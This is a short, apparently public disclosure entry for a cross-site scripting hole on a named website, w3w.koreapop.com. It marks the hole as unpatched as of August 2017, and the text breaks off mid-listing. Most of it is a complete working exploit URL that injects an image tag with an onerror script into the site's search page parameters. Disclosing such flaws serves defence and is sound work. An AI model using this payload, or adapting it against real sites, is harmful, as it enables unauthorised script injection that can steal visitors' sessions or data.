w3w.koreapop.com XSS vulnerability

Vulnerable URL: http://w3w.koreapop.com/browse/search.php?mode=%22%3EKeritzy%3Cimg%20src=x%20onerror=prompt%28/xssposed/%29%3Estore=%22%3EKeritzy%3Cimg%20src=x%20onerror=prompt%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.08.2017 Vulnerability...